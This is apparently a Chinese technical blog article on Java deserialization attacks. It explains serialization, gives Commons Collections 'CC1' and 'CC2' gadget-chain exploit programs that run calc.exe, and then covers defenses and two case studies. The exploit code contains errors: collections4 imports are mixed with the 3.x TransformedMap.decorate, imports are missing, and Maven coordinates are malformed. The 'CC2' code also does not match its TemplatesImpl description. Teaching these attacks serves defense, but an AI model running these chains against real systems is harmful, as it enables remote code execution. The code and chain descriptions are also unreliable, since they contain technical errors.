MK
摩柯社区 - 一个极简的技术知识社区
AI 面试

Java反序列化攻击案例分析

2022-08-097.6k 阅读

Java反序列化基础概念

在Java中,对象的序列化是指将对象转换为字节序列的过程,以便能够在网络上传输或者存储到文件中。而反序列化则是将字节序列重新转换回对象的过程。Java提供了java.io.Serializable接口来标识一个类的对象可以被序列化。

当一个类实现了Serializable接口后,Java的序列化机制会自动处理该类对象的序列化和反序列化过程。例如,考虑以下简单的Java类:

import java.io.Serializable;

public class User implements Serializable {
    private String username;
    private String password;

    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return username;
    }

    public String getPassword() {
        return password;
    }
}

要对User对象进行序列化,可以使用ObjectOutputStream类:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializeUser {
    public static void main(String[] args) {
        User user = new User("admin", "password123");
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
            oos.writeObject(user);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

反序列化则使用ObjectInputStream类:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class DeserializeUser {
    public static void main(String[] args) {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser"))) {
            User user = (User) ois.readObject();
            System.out.println("Username: " + user.getUsername());
            System.out.println("Password: " + user.getPassword());
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

反序列化攻击原理

Java反序列化机制在设计上存在一定的安全风险。当应用程序接收并反序列化不可信的数据时,攻击者可能会精心构造恶意的字节序列,使得在反序列化过程中执行任意代码。

这是因为Java的反序列化机制在反序列化对象时,会调用对象的readObject方法(如果存在),以及类的构造函数等。攻击者可以通过控制反序列化的数据,利用这些机制来触发恶意代码的执行。

例如,假设存在一个具有readObject方法的类:

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class MaliciousObject implements Serializable {
    private static final long serialVersionUID = 1L;

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // 恶意代码,例如执行系统命令
        Runtime.getRuntime().exec("calc.exe");
    }
}

如果应用程序对来自不可信源的数据进行反序列化,并且没有进行充分的验证,攻击者就可以发送包含恶意MaliciousObject序列化数据,从而导致系统命令calc.exe被执行(在Windows系统下弹出计算器)。

常见的反序列化攻击利用链

  1. CC1链(Commons Collections 1)
    • 原理:利用Commons Collections库中的类,通过构造特定的对象链来触发反序列化漏洞。Commons Collections库提供了丰富的集合类和工具类,其中一些类在反序列化时会调用方法,攻击者可以利用这些方法调用来执行恶意代码。
    • 代码示例
      • 首先需要引入Commons Collections库的依赖。如果使用Maven,可以在pom.xml中添加以下依赖:
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
 - 构造恶意对象的代码如下:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Exploit {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "test");

        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        Object instance = constructor.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(instance);
        oos.close();

        byte[] serializedData = barr.toByteArray();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serializedData));
        ois.readObject();
        ois.close();
    }
}
  • 在上述代码中,通过Transformer链构造了一个恶意的对象,ChainedTransformer会依次调用每个TransformerConstantTransformer返回Runtime.classInvokerTransformer通过反射调用getRuntime方法获取Runtime实例,再调用exec方法执行系统命令calc.exeTransformedMap在反序列化时会触发Transformer的调用,从而执行恶意代码。
  1. CC2链(Commons Collections 2)
    • 原理:同样基于Commons Collections库,CC2链利用了不同的类和方法调用顺序来实现反序列化漏洞利用。它利用了TemplatesImpl类以及AnnotationInvocationHandler类的特性。
    • 代码示例
      • 引入相关依赖(如果使用Maven,除了commons - collections4依赖,还可能需要asm等相关依赖):
<dependency>
    <groupId>org.apache.commons.collections4</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
<dependency>
    <groupId>org.ow2.asm</groupId>
    <artifactId>asm</artifactId>
    <version>9.1</version>
</dependency>
 - 构造恶意对象的代码:
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.util.ReflectionUtils;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC2Exploit {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "test");

        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        Object instance = constructor.newInstance(Retention.class, outerMap);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, instance);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(val);
        oos.close();

        byte[] serializedData = barr.toByteArray();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serializedData));
        ois.readObject();
        ois.close();
    }
}
  • 在这个示例中,利用BadAttributeValueExpException类的反序列化机制,通过反射设置其val字段为构造好的恶意对象,从而在反序列化BadAttributeValueExpException对象时触发恶意代码执行。

反序列化攻击检测与防范

  1. 输入验证
    • 对于接收的序列化数据,应用程序应该进行严格的验证。可以检查数据的来源是否可信,例如只允许从特定的网络地址或经过身份验证的用户接收序列化数据。
    • 可以对序列化数据的格式进行验证。虽然Java的ObjectInputStream本身有一定的格式检查,但额外的验证可以增加安全性。例如,可以验证数据是否以合法的序列化头部开始,以及数据长度是否在合理范围内。
    • 代码示例:
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class ValidateSerializedData {
    public static boolean validate(byte[] serializedData) {
        if (serializedData.length < 5) {
            return false;
        }
        // 检查序列化头部
        if (serializedData[0] != (byte) 0xAC || serializedData[1] != (byte) 0xED) {
            return false;
        }
        return true;
    }

    public static Object deserialize(byte[] serializedData) throws IOException, ClassNotFoundException {
        if (!validate(serializedData)) {
            throw new IllegalArgumentException("Invalid serialized data");
        }
        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(serializedData))) {
            return ois.readObject();
        }
    }
}
  1. 白名单机制
    • 建立一个允许反序列化的类的白名单。只有在白名单中的类才可以被反序列化,其他类的序列化数据将被拒绝。
    • 可以通过自定义ObjectInputStream的子类,并重写resolveClass方法来实现白名单机制。
    • 代码示例:
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;

public class WhitelistedObjectInputStream extends ObjectInputStream {
    private static final Set<String> whitelist = new HashSet<>();

    static {
        whitelist.add("com.example.User");
        // 添加更多允许的类
    }

    public WhitelistedObjectInputStream(java.io.InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        if (!whitelist.contains(className)) {
            throw new InvalidClassException("Unauthorized deserialization attempt", className);
        }
        return super.resolveClass(desc);
    }
}
  • 在上述代码中,WhitelistedObjectInputStream类重写了resolveClass方法,只有当类名在whitelist中时,才允许反序列化该类。
  1. 使用安全的反序列化库
    • 一些第三方库提供了更安全的反序列化机制。例如,Jackson库在处理JSON序列化和反序列化时,默认情况下比Java原生的序列化机制更安全。如果应用场景允许,可以将对象的序列化和反序列化从Java原生的Serializable机制迁移到更安全的库,如Jackson
    • 示例代码使用Jackson进行对象序列化和反序列化:
      • 引入Jackson依赖(如果使用Maven):
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson - databind</artifactId>
    <version>2.13.0</version>
</dependency>
 - 序列化和反序列化代码:
import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class JacksonExample {
    public static void main(String[] args) {
        User user = new User("admin", "password123");
        ObjectMapper mapper = new ObjectMapper();
        try {
            // 序列化
            String json = mapper.writeValueAsString(user);
            System.out.println("Serialized JSON: " + json);

            // 反序列化
            User deserializedUser = mapper.readValue(json, User.class);
            System.out.println("Deserialized Username: " + deserializedUser.getUsername());
            System.out.println("Deserialized Password: " + deserializedUser.getPassword());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  • Jackson在反序列化时会根据对象的结构进行严格的验证,并且不会像Java原生反序列化那样容易受到恶意代码注入的攻击。
  1. 更新和修复依赖库
    • 及时更新应用程序所依赖的库,特别是像Commons Collections这样可能存在反序列化漏洞的库。库的开发者通常会发布安全补丁来修复已知的反序列化漏洞。
    • 例如,如果使用Commons Collections库,关注官方发布的新版本,及时将库升级到最新的安全版本,以避免因使用存在漏洞版本而遭受反序列化攻击。

实际案例分析

  1. 某Web应用反序列化漏洞
    • 漏洞背景:一个基于Java的Web应用,使用了Commons Collections库来处理一些数据集合。该应用接收来自用户上传的序列化数据,并进行反序列化操作。
    • 攻击过程:攻击者通过分析应用所使用的库版本,发现其使用的Commons Collections库存在CC1链相关的反序列化漏洞。攻击者构造了恶意的序列化数据,利用CC1链执行了恶意命令,例如获取服务器的敏感文件内容。攻击者首先确定了应用接收序列化数据的接口,然后使用工具生成了包含恶意Transformer链的序列化数据,并通过HTTP请求发送给应用。
    • 漏洞修复:应用开发者首先升级了Commons Collections库到不存在CC1漏洞的版本。同时,在接收和反序列化用户数据的接口处,添加了输入验证和白名单机制。对于接收的序列化数据,先进行格式验证,确保数据符合基本的序列化格式要求,然后通过自定义的ObjectInputStream子类,只允许特定的、安全的类进行反序列化。
  2. 某分布式系统反序列化漏洞
    • 漏洞背景:在一个分布式Java系统中,节点之间通过序列化对象进行通信。系统中部分节点使用了较旧的Java版本,并且对反序列化的数据没有进行充分的验证。
    • 攻击过程:攻击者利用系统节点间通信的机制,向目标节点发送恶意构造的序列化数据。攻击者发现系统在反序列化某些特定类型的对象时,会调用一些方法,通过构造恶意的对象链,触发了任意代码执行。攻击者成功在目标节点上部署了后门程序,从而可以控制该节点,并进一步渗透整个分布式系统。
    • 漏洞修复:系统管理员首先将所有节点的Java版本更新到最新的安全版本。同时,在节点间通信模块中添加了严格的安全策略,对传输的序列化数据进行加密和签名验证。只有经过合法签名的数据才会被反序列化,并且在反序列化前,对数据进行深度的验证,包括检查数据的完整性和是否包含恶意的类和方法调用。此外,还对节点间通信所涉及的类进行了全面审查,去除了不必要的可序列化类,进一步减少了攻击面。

通过对这些实际案例的分析,可以看出反序列化攻击在Java应用中具有一定的隐蔽性和危害性。开发者需要高度重视反序列化安全问题,采取有效的检测和防范措施,以确保应用的安全性。在实际开发中,综合运用输入验证、白名单机制、使用安全库以及及时更新依赖等方法,可以大大降低反序列化攻击的风险。同时,持续关注安全动态,及时修复新发现的漏洞,也是保障应用安全的重要环节。